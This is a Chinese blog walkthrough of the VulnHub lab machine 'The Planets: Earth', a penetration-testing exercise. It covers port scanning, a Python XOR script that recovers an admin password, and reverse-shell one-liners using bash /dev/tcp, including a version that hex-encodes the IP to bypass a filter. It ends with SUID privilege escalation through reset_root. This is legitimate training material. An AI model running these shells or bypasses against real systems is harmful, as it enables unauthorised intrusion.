[渗透测试学习靶机01] vulnhub靶场 The Planets: Earth

2023-10-30

kali IP地址为192.168.127.139

靶机 IP地址为192.168.127.140

1、先扫描主机名

2、探测此主机开放的端口服务,我们发现开放了22  80  443端口 

看上图,我们发现443端口有两个dns解析,在hosts添加dns解析,vim /etc/hosts 

192.168.127.140 earth.local 
192.168.127.140 terratest.earth.local

 

3、收集信息

先访问一下earth.local域名,发现有之前的信息

紧接着我们kali扫描此域名下的目录 

如上图,有域名,我们进入amdin目录看看,是个登录界面 

再去看另一个域名terratest.earth.local情况 

探测web目录下有哪些内容

 

发现有两个目录可以访问,尝试看下robots.txt内容

 

发现有个testingnotes文件,但是不知道是何种格式,自己尝试测试发现是txt文件格式

 

翻译下内容如下

测试安全消息系统注意事项:

*使用XOR加密作为算法,应该是安全的RSA使用

*地球已经确认他们收到了我们发送的信息。

*testdata.txt用于测试加密。

*terra被用作管理门户的用户名。

待办事项:

*我们如何将每月的密钥安全地发送到地球?或者我们应该每周换一次钥匙?

*需要测试不同长度的键来防止暴力。钥匙应该有多长?

*需要改进的消息界面和管理面板的界面,它目前是非常基本的。

从上面内容得到了一个信息,加密算法是 xor,有个testdata.txt文件,用户名是:terra

所以我们继续访问testdata.txt文件

 

翻译// 根据辐射定年法和其他证据,地球形成于45亿年前。在地球历史的最初10亿年里,海洋中出现了生命,并开始影响地球的大气和表面,导致厌氧生物的激增,后来又出现了好氧生物。一些地质证据表明,生命可能早在41亿年前就出现了。

使用这个文件内容用xor加密方式与之前的消息运算。需要先将文件内容转化16进制再运算

 

 

在第一个输入信息,配合第二个加密算法,从而得到第一处下面的信息,通告异或算法,知二求一,从而算出我们想要的内容,依次把第一个的三行数字进行运算,发现只有第三个的有规律,可以直接算第一个信息里面的第三个,python的代码如下:注意:难点之一

import binascii

keys = "2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"


testdata = "According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."

#先把testdata转换成二进制数据然后再用十六进制表示
testdata = testdata.encode(encoding = "utf-8    ")

testdata2 = binascii.b2a_hex(testdata)


print(hex(int(keys,16) ^ int(testdata2,16)))

 

16进制解密得到第三条信息里面:

 

用户名:terra  密码:earthclimatechangebad4humans  登录admin网页成功,可以执行命令

 

 

4、利用漏洞

ls查看一下有哪些文件

查找指定flag文件有哪些

 

 

查看此文本的内容,得到第一个flag

 

之后我们信息利用

使用反弹shell链接到靶机,注意:难点之二,此处写的IP地址为攻击机kali的地址,不要写成靶机的地址。

bash -i >& /dev/tcp/192.168.127.139/1234 0>&1

 

反弹shell不成功。

发现是禁止远程链接,发现需要对ip地址进行16进制的转化绕过。

bash -i >& /dev/tcp/0XC0.0XA8.0X7F.0X8B/1234 0>&1

查看到攻击者拿到shell,链接成功。

  5、进行信息提权

 当前权限为apache,所以需要提权,查看内核版本和发行版本

尝试suid提权,所以为了提权,我们查找拥有suid标识的文件

 

观察到有文件是reset_root,其含义是重置root 尝试运行,发现报错

翻译为检查是否存在重置触发器...重置失败,所有触发器都不存在。

我们先strace安装 

apt-get install atrace

sudo apt-get instasll strace  权限不够用sudo

  紧接着文件利用,本地没有调试命令,利用nc的传输功能,把靶机上的文件传输到本地查看,否则太麻烦了。先kali开启监听,然后利用靶机的shell传输文件。

 接受到这个文件,先给这个文件赋予执行的权限,再进行调试

在靶机上tuoch创建这三个文件

/dev/shm/kHgTFI5G
/dev/shm/Zw7bV9U5
/tmp/kcM0Wewe

再次执行reset_root 提权成功

切换root用户,输入密码

查看到flag,最终攻击成功。

 总结:

本次靶机的流程:先 nmap 扫描端口,扫到 443端口的两个dns解析,然后我们写入hosts后,紧接着去测试域名,在测试的域名中分析网站信息,找到一些留下的文件和加密的测试数据密钥,发现xor算法等写脚本,解密得到密码,从而登录正式系统管理员个人门户网站。登录到后台后,发现一处命令执行功能,对xx.xx.xx.xx的ip数据有限制,采用16进制绕过反弹shell成功。之后发现具有suid权限的 reset_root 文件,执行失败,通过strace 命令跟踪执行时的调用,发现缺少三个文件 ,创建后,运行成功,获取到重置后的root密码 su root 获取 root权限

 

 

 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

[渗透测试学习靶机01] vulnhub靶场 The Planets: Earth 的相关文章

随机推荐

  • 自定义数据类型使用QVariant转换的方法

    QVariant类型的放入和取出必须是相对应的 你放入一个int就必须按int取出 不能用toString Qt不会帮你自动转换 数据核心无非就是一个 union 和一个标记类型的type 传递的是整数 123 那么它union存储整数12
  • STM32定时器的编码器接口模式

    MCU为STM32L431 通用定时器框图 编码器接口模式一共有三种 通过TIMx SMCR寄存器的SMS 3 0 位来选择 模式1计数器仅在TI1FP1的边沿根据TI2FP2的电平来判断向上 下计数 模式2计数器仅在TI2FP2的边沿根据
  • DevTools 无法加载 SourceMap:XXXX.map 的内容:HTTP 错误: 状态代码 404,net::ERR_UNKNOWN_URL_SCHEM

    写在前面 又想骂人了 百度了一圈 各种不同的网站 对于该问题的解决办法的前几句都是 确切来说也不是个问题 对我项目本身没有什么实质性的影响 但看着就是不爽 请教了一下前端的同学 这个 sourceMap 是方便调试的东西 从打包后的代码映射
  • 好看的悬疑电影,最好是高智商的

    穆赫兰道 公认史上最难懂的电影 据说40 的人从电影一开始就理解错误 还有50 的人从头到尾都不知道电影在说什么 看懂这部电影 请先熟读弗洛伊德 梦的解析 死亡幻觉 此片思维难度很大 涉及的知识一般人难以理解 第一遍据说没人看得懂 理解这部
  • OSS设置CORS规则以后还是报No ‘Access-Control-Allow-Origin‘解决方法

    在OSS控制台设置了CORS规则以后 通过JS程序去调用的时候报No Access Control Allow Origin header is present on the requested resource 可以通过下面的思路来进行下
  • Open3D 计算点云凸包

    目录 一 实现依据 二 代码实现 三 结果展示 1 原始点云 2 凸包可视化 3 凸包顶点 一 实现依据 点云的凸包是包含所有点的最小凸集 open3d实现了计算凸包的方法 compute convex hull 这个接口的实现基于Qhul
  • 数据建模中利用3σ剔除异常值进行数据清洗

    方法原理 3 准则又称为拉依达准则 它是先假设一组检测数据只含有随机误差 对其进行计算处理得到标准偏差 按一定概率确定一个区间 认为凡超过这个区间的误差 就不属于随机误差而是粗大误差 含有该误差的数据应予以剔除 在正态分布中 代表标准差 代
  • [机缘参悟-96] :软件中到处充满了人类社会的气息!

    解读操作系统有感 CPU 对于CPU内核而言 调度程序是程序 应用程序也是程序 在它眼里是一样的 公平看待的 因此某种愿意上讲 CPU内核本身就是 上天 就是 道 道德经中讲 天地不仁 以万物为刍 就是这个意思 CPU中的算术单元并不区分什
  • Android 使用Camera1实现相机预览、拍照、录像

    1 前言 本文介绍如何从零开始 在Android中实现Camera1的接入 并在文末提供Camera1Manager工具类 可以用于快速接入Camera1 Android Camera1 API虽然已经被Google废弃 但有些场景下不得不
  • 【Pandas 入门-2】增加,删除与合并数据 concat, merge

    文章目录 1 3 增加 删除与合并数据 1 3 1 增加数据 1 3 2 删除数据 1 3 3 合并数据 1 3 增加 删除与合并数据 1 3 1 增加数据 在原数据末尾增加一列时 语法为 df 新列名 某个值或某个元素个数与 DataFr
  • 框架分析(10)-SQLAlchemy

    框架分析 10 SQLAlchemy 专栏介绍 SQLAlchemy 特性分析 ORM支持 数据库适配器 事务支持 查询构建器 数据库连接池 事务管理器 数据库迁移 特性总结 优缺点 优点 强大的对象关系映射 支持多种数据库 灵活的查询语言
  • 使用Softing edgeConnector模块将云轻松连接到Siemens PLC

    一 工业边缘的连接解决方案 云服务提供商 CSP 引入了服务和功能 以简化基于云的工业物联网解决方案的实施 Azure Industrial IoT Platform或AWS IoT SiteWise支持标准协议和接口 例如OPC UA或M
  • git 代码上传

    1 启动git bash 2 cd 进入代码存放的本地路径 3 初始化本地仓库 git init 4 将项目的所有文件添加到仓库中 git add 5 将add的文件commit到仓库 git commit m 注释语句 6 将本地的仓库关
  • J - Good Coins

    虽然很简单 但还是记录一下 或许能给以后的题一点思路 include
  • Python---tk类

    文章目录 创建tk对象 创建标签 创建按钮 创建文本窗口 创建tk对象 在对象创建时 使用关键字参数 fred Button self fg red bg blue 创建对象后 将选项名称视为字典索引 fred fg red fred bg
  • 【每日一题】ARC137B - Count 1’s

    题目内容 原题链接 给定一个长度为 n n n 的整数数组 a a a a i
  • Android集成MuPDF,修改批注默认红色墨迹为黑色墨迹

    概述 前段时间由于项目需要 要在手机上对PDF文件进行预览 签名 上传等操作 经过各种分析 调研及测试 最终决定用mupdf 好像目前能对pdf文档支持搜索 标注等功能 也只有mupdf可以实现 1 pdf各种方案简介 一 andorid原
  • 蓝桥 BASIC-23

    include
  • 【SpringAOP+反射机制】实现操作日志记录详解

    在我们日常开发系统中 甚至在一些软件标书中 都会有一项 即需要将每个用户的操作记录下来 支持对用户的操作 配置等有关动作进行日志记录 保证系统操作使用有记录可寻 本文针对这一功能 采用spring aop 外加java反射机制即Spring
  • [渗透测试学习靶机01] vulnhub靶场 The Planets: Earth

    kali IP地址为192 168 127 139 靶机 IP地址为192 168 127 140 1 先扫描主机名 2 探测此主机开放的端口服务 我们发现开放了22 80 443端口 看上图 我们发现443端口有两个dns解析 在host